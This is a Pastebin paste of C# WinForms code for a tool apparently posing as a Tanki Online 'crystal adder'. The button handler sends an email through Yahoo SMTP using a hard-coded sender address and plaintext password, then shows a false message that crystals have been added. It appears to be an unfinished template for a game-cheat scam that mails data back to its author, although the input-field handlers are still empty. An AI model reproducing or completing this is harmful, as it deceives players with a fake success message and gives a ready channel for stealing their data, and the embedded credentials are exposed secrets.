Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Windows.Forms;
- using System.Threading;
- using System.Net;
- using System.Net.Mail;
- using System.Web;
- namespace TankiOnline_Crystal
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- }
- private void button1_Click(object sender, EventArgs e)
- {
- try
- {
- //Specify senders gmail address
- string SendersAddress = "randomtesting83@yahoo.com";
- //Specify The Address You want to sent Email To(can be any valid email address)
- string ReceiversAddress = "randomtesting83@yahoo.com";
- //Specify The password of gmial account u are using to sent mail(pw of sender@gmail.com)
- const string SendersPassword = "0776091570";
- //Write the subject of ur mail
- const string subject = "Testing";
- //Write the contents of your mail
- const string body = "Hi This Is my Mail From Gmail";
- MessageBox.Show("Passed stage 1");
- //we will use Smtp client which allows us to send email using SMTP Protocol
- //i have specified the properties of SmtpClient smtp within{}
- //gmails smtp server name is smtp.gmail.com and port number is 587
- SmtpClient smtp = new SmtpClient
- {
- Host = "smtp.mail.yahoo.com",
- Port = 465,
- EnableSsl = true,
- UseDefaultCredentials = false,
- DeliveryMethod = SmtpDeliveryMethod.Network,
- Credentials = new NetworkCredential(SendersAddress, SendersPassword),
- Timeout = 10000,
- };
- MessageBox.Show("Passed stage 2");
- //MailMessage represents a mail message
- //it is 4 parameters(From,TO,subject,body)
- MailMessage message = new MailMessage(SendersAddress, ReceiversAddress, subject, body);
- message.IsBodyHtml = false;
- /*WE use smtp sever we specified above to send the message(MailMessage message)*/
- MessageBox.Show("passed stage 3");
- smtp.Send(message);
- MessageBox.Show("message sent?!?!");
- MessageBox.Show("Crystals has been added, this may take 1 - 4 hours to show on your account", "successfully Added Crystal!");
- return;
- }
- catch (Exception ex)
- {
- MessageBox.Show(ex.Message);
- }
- }
- private void textBox1_TextChanged(object sender, EventArgs e)
- {
- }
- private void textBox2_TextChanged(object sender, EventArgs e)
- {
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement